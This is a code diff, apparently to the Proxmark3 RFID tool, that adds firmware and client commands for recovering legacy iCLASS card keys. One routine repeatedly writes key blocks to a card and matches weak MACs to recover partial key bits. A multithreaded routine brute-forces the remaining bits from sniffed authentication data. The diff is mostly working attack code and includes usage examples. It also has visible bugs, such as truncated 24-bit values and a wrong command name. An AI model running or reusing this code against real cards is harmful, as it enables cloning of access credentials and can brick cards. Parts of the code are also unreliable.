diff --git a/CHANGELOG.md b/CHANGELOG.md index 90358144a2..8bc1502ecd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added MFC Key for swimming pool cards in Reykjavík Iceland (@dandri) - Added key for Orkan keyfobs (@dandri) - Added key for Atlantsolía keyfobs (@dandri) +- Added `hf iclass legbrute` this function allows to bruteforce 40/64 k1 bits of an iclass card to recover the raw key used(@antiklesys). +- Added `hf iclass legrec` this function allows to recover 24/64 k1 bits of an iclass card (@antiklesys). ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) - Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 41a21bbb03..d4faff5a17 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -2061,6 +2061,10 @@ static void PacketReceived(PacketCommandNG *packet) { iClass_Restore((iclass_restore_req_t *)packet->data.asBytes); break; } + case CMD_HF_ICLASS_RECOVER: { + iClass_Recover((iclass_recover_req_t *)packet->data.asBytes); + break; + } case CMD_HF_ICLASS_CREDIT_EPURSE: { iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes); break; diff --git a/armsrc/iclass.c b/armsrc/iclass.c index ca63c5c936..4b3ce223d5 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2152,3 +2152,192 @@ void iClass_Restore(iclass_restore_req_t *msg) { reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0); } } + +void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { + uint32_t carry = index; + memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); + + for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { + uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry + keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0 + + carry >>= 3; // Shift right by 3 bits for the next byte + if (carry == 0) { + // If no more carry, break early to avoid unnecessary loops + break; + } + } +} + +void iClass_Recover(iclass_recover_req_t *msg) { + + bool shallow_mod = false; + + LED_A_ON(); + + Iso15693InitReader(); + //Authenticate with AA2 with the standard key to get the AA2 mac + //Step0 Card Select Routine + + uint32_t eof_time = 0; + picopass_hdr_t hdr = {0}; + bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod); + if (res == false) { + goto out; + } + + //Step1 Authenticate with AA2 using K2 + + uint8_t mac2[4] = {0}; + uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2); + if (res == false) { + goto out; + } + + uint8_t div_key2[8] = {0}; + memcpy(div_key2, hdr.key_c, 8); + + //cycle reader to reset cypher state and be able to authenticate with k1 trace + switch_off(); + Iso15693InitReader(); + + //Step0 Card Select Routine + + eof_time = 0; + //hdr = {0}; + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res == false) { + goto out; + } + + //Step1 Authenticate with AA1 using trace + + uint8_t mac1[4] = {0}; + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == false) { + goto out; + } + + //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 + uint8_t blockno = 24; + uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; + AddCrc(cmd_read + 1, 1); + uint8_t resp[10]; + + res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod); + + static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table + { 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000 + { 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001 + { 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010 + { 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011 + { 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100 + { 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101 + { 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110 + { 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111 + }; + //Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number + static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; + +/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. +If we concatenate the last three bits of each key byte, we have a 24 bits long binary string. +If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values +Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */ + + uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint32_t index = 1; + int bits_found = -1; + + //START LOOP + while (bits_found == -1){ + + //Step3 Calculate New Key + uint8_t genkeyblock[PICOPASS_BLOCK_SIZE]; + uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE]; + uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE]; + generate_single_key_block_inverted(zero_key, index, genkeyblock); + + //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED + //xor the new key against the previously generated key so that we only update the difference + if(index != 0){ + generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old); + for (int i = 0; i < 8 ; i++) { + xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i]; + } + }else{ + memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE); + } + + //Step4 Calculate New Mac + + bool use_mac = true; + uint8_t wb[9] = {0}; + blockno = 3; + wb[0] = blockno; + memcpy(wb + 1, xorkeyblock, 8); + + doMAC_N(wb, sizeof(wb), div_key2, mac2); + + //Step5 Perform Write + + if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) { + Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); + } else { + Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno); + goto out; + } + //Step6 Perform 8 authentication attempts + + for (int i = 0; i < 8 ; ++i) { + //need to craft the authentication payload accordingly + memcpy(msg->req.key, iclass_mac_table[i], 8); + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter + if (res == true) { + bits_found = iclass_mac_table_bit_values[i] ^ index; + Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index); + Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]); + Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found); + goto restore; + } + } + + }//end while + + +restore: + ;//empty statement for compilation + uint8_t partialkey[PICOPASS_BLOCK_SIZE]; + convertToHexArray(bits_found, partialkey); + + for (int i = 0; i < 8; i++){ + Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialkey); + } + + uint8_t resetkey[PICOPASS_BLOCK_SIZE]; + convertToHexArray(index, resetkey); + + //Calculate reset Mac + + bool use_mac = true; + uint8_t wb[9] = {0}; + blockno = 3; + wb[0] = blockno; + memcpy(wb + 1, resetkey, 8); + + doMAC_N(wb, sizeof(wb), div_key2, mac2); + if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) { + Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); + } else { + Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno); + } + switch_off(); + + +out: + + switch_off(); + + +} \ No newline at end of file diff --git a/armsrc/iclass.h b/armsrc/iclass.h index 4a71780bbe..1480ef56c1 100644 --- a/armsrc/iclass.h +++ b/armsrc/iclass.h @@ -70,4 +70,7 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui uint8_t get_pagemap(const picopass_hdr_t *hdr); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); + +void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock); +void iClass_Recover(iclass_recover_req_t *msg); #endif diff --git a/armsrc/util.c b/armsrc/util.c index 89a5d598b2..a4d6f2b8bc 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -395,3 +395,33 @@ uint32_t flash_size_from_cidr(uint32_t cidr) { uint32_t get_flash_size(void) { return flash_size_from_cidr(*AT91C_DBGU_CIDR); } + +// Function to convert an unsigned int to binary string +void intToBinary(uint8_t num, char *binaryStr, int size) { + binaryStr[size] = '\0'; // Null-terminate the string + for (int i = size - 1; i >= 0; i--) { + binaryStr[i] = (num % 2) ? '1' : '0'; + num /= 2; + } +} + +// Function to convert a binary string to hexadecimal +uint8_t binaryToHex(char *binaryStr) { + return (uint8_t)strtoul(binaryStr, NULL, 2); +} + +// Function to convert an unsigned int to an array of hex values +void convertToHexArray(uint8_t num, uint8_t *partialkey) { + char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator + + // Convert the number to binary string + intToBinary(num, binaryStr, 24); + + // Split the binary string into groups of 3 and convert to hex + for (int i = 0; i < 8 ; i++) { + char group[4]; + strncpy(group, binaryStr + i * 3, 3); + group[3] = '\0'; // Null-terminate the group string + partialkey[i] = binaryToHex(group); + } +} \ No newline at end of file diff --git a/armsrc/util.h b/armsrc/util.h index 8842b5d8de..709c11c3ee 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -88,6 +88,10 @@ int hex2binarray(char *target, char *source); int hex2binarray_n(char *target, const char *source, int sourcelen); int binarray2hex(const uint8_t *bs, int bs_len, uint8_t *hex); +void intToBinary(uint8_t num, char *binaryStr, int size); +uint8_t binaryToHex(char *binaryStr); +void convertToHexArray(uint8_t num, uint8_t *partialKey); + void LED(int led, int ms); void LEDsoff(void); void SpinOff(uint32_t pause); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index eaa83aeaf1..03d66f7976 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3842,6 +3842,284 @@ void picopass_elite_nextKey(uint8_t* key) { memcpy(key, key_state, 8); } +static int CmdHFiClassRecover(uint8_t key[8]) { + + uint32_t payload_size = sizeof(iclass_recover_req_t); + uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0}; + memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE); + iclass_recover_req_t *payload = calloc(1, payload_size); + payload->req.use_raw = true; + payload->req.use_elite = false; + payload->req.use_credit_key = false; + payload->req.use_replay = true; + payload->req.send_reply = true; + payload->req.do_auth = true; + payload->req.shallow_mod = false; + payload->req2.use_raw = false; + payload->req2.use_elite = false; + payload->req2.use_credit_key = true; + payload->req2.use_replay = false; + payload->req2.send_reply = true; + payload->req2.do_auth = true; + payload->req2.shallow_mod = false; + memcpy(payload->req.key, key, 8); + memcpy(payload->req2.key, aa2_standard_key, 8); + + PrintAndLogEx(INFO, "Recover started..."); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size); + + WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp); + + if (resp.status == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful")); + } else { + PrintAndLogEx(WARNING, "iCLASS Recover " _RED_("failed")); + } + + free(payload); + return resp.status; +} + +typedef struct { + uint32_t start_index; + uint32_t keycount; + const uint8_t *startingKey; + uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE]; +} ThreadData; + +void *generate_key_blocks(void *arg) { + ThreadData *data = (ThreadData *)arg; + uint32_t start_index = data->start_index; + uint32_t keycount = data->keycount; + const uint8_t *startingKey = data->startingKey; + uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock; + + for (uint32_t i = 0; i < keycount; i++) { + uint32_t carry = start_index + i; + memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE); + + for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { + uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry + keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits + + carry >>= 5; // Shift right by 5 bits for the next byte + if (carry == 0) { + // If no more carry, break early to avoid unnecessary loops + break; + } + } + } + + return NULL; +} + +static int CmdHFiClassLegRecLookUp(const char *Cmd) { + + //Standalone Command Start + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass legbrute", + "This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.", + "hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225" + ); + + void *argtable[] = { + arg_param_begin, + arg_str1(NULL, "csn", "", "Specify CSN as 8 hex bytes"), + arg_str1(NULL, "epurse", "", "Specify ePurse as 8 hex bytes"), + arg_str1(NULL, "macs", "", "MACs"), + arg_str1(NULL, "pk", "", "Partial Key"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int csn_len = 0; + uint8_t csn[8] = {0}; + CLIGetHexWithReturn(ctx, 1, csn, &csn_len); + + if (csn_len > 0) { + if (csn_len != 8) { + PrintAndLogEx(ERR, "CSN is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int epurse_len = 0; + uint8_t epurse[8] = {0}; + CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len); + + if (epurse_len > 0) { + if (epurse_len != 8) { + PrintAndLogEx(ERR, "ePurse is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int macs_len = 0; + uint8_t macs[8] = {0}; + CLIGetHexWithReturn(ctx, 3, macs, &macs_len); + + if (macs_len > 0) { + if (macs_len != 8) { + PrintAndLogEx(ERR, "MAC is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + int startingkey_len = 0; + uint8_t startingKey[8] = {0}; + CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len); + + if (startingkey_len > 0) { + if (startingkey_len != 8) { + PrintAndLogEx(ERR, "Partial Key is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + CLIParserFree(ctx); + //Standalone Command End + + uint8_t CCNR[12]; + uint8_t MAC_TAG[4] = {0, 0, 0, 0}; + + // Copy CCNR and MAC_TAG + memcpy(CCNR, epurse, 8); + memcpy(CCNR + 8, macs, 4); + memcpy(MAC_TAG, macs + 4, 4); + + PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8)); + PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8)); + PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8)); + PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); + PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); + PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8)); + + uint32_t keycount = 1000000; + uint32_t keys_per_thread = 200000; + uint32_t num_threads = keycount / keys_per_thread; + pthread_t threads[num_threads]; + ThreadData thread_data[num_threads]; + iclass_prekey_t *prekey = NULL; + iclass_prekey_t lookup; + iclass_prekey_t *item = NULL; + + memcpy(lookup.mac, MAC_TAG, 4); + + uint32_t block_index = 0; + + while (item == NULL) { + for (uint32_t t = 0; t < num_threads; t++) { + thread_data[t].start_index = block_index * keycount + t * keys_per_thread; + thread_data[t].keycount = keys_per_thread; + thread_data[t].startingKey = startingKey; + thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE); + + if (thread_data[t].keyBlock == NULL) { + PrintAndLogEx(ERR, "Memory allocation failed for keyBlock in thread %d.", t); + for (uint32_t i = 0; i < t; i++) { + free(thread_data[i].keyBlock); + } + return PM3_EINVARG; + } + + pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]); + } + + for (uint32_t t = 0; t < num_threads; t++) { + pthread_join(threads[t], NULL); + } + + if (prekey == NULL) { + prekey = calloc(keycount, sizeof(iclass_prekey_t)); + } else { + prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t)); + } + + if (prekey == NULL) { + PrintAndLogEx(ERR, "Memory allocation failed for prekey."); + for (uint32_t t = 0; t < num_threads; t++) { + free(thread_data[t].keyBlock); + } + return PM3_EINVARG; + } + + PrintAndLogEx(INFO, "Generating diversified keys..."); + for (uint32_t t = 0; t < num_threads; t++) { + GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread)); + } + + PrintAndLogEx(INFO, "Sorting..."); + + // Sort mac list + qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32); + + PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); + + // Binary search + item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32); + + for (uint32_t t = 0; t < num_threads; t++) { + free(thread_data[t].keyBlock); + } + + block_index++; + } + + if (item != NULL) { + PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8)); + } + + free(prekey); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + + +static int CmdHFiClassLegacyRecover(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass legrec", + "Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!", + "hf iclass legrec --macs 0000000089cb984b" + ); + + void *argtable[] = { + arg_param_begin, + arg_str1(NULL, "macs", "", "MACs"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int macs_len = 0; + uint8_t macs[8] = {0}; + CLIGetHexWithReturn(ctx, 1, macs, &macs_len); + + if (macs_len > 0) { + if (macs_len != 8) { + PrintAndLogEx(ERR, "MAC is incorrect length"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + CLIParserFree(ctx); + + CmdHFiClassRecover(macs); + + PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found.")); + + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; + +} + static int CmdHFiClassLookUp(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass lookup", @@ -4738,6 +5016,8 @@ static command_t CommandTable[] = { {"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"}, {"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"}, {"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, + {"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"}, + {"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, diff --git a/client/src/cmdhficlass.h b/client/src/cmdhficlass.h index b3b0844ab1..5a4b20aec0 100644 --- a/client/src/cmdhficlass.h +++ b/client/src/cmdhficlass.h @@ -42,4 +42,5 @@ void picopass_elite_reset(void); uint32_t picopass_elite_rng(void); uint32_t picopass_elite_lcg(void); uint8_t picopass_elite_nextByte(void); +void *generate_key_blocks(void *arg); #endif diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index e7e1d0cd3c..bb7b6193a4 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -105,6 +105,11 @@ typedef struct { iclass_restore_item_t blocks[]; } PACKED iclass_restore_req_t; +typedef struct { + iclass_auth_req_t req; + iclass_auth_req_t req2; +} PACKED iclass_recover_req_t; + typedef struct iclass_premac { uint8_t mac[4]; } PACKED iclass_premac_t; diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 10fe7a81a9..6536f4b663 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -630,6 +630,7 @@ typedef struct { #define CMD_HF_ICLASS_CHKKEYS 0x039A #define CMD_HF_ICLASS_RESTORE 0x039B #define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C +#define CMD_HF_ICLASS_RECOVER 0x039D // For ISO1092 / FeliCa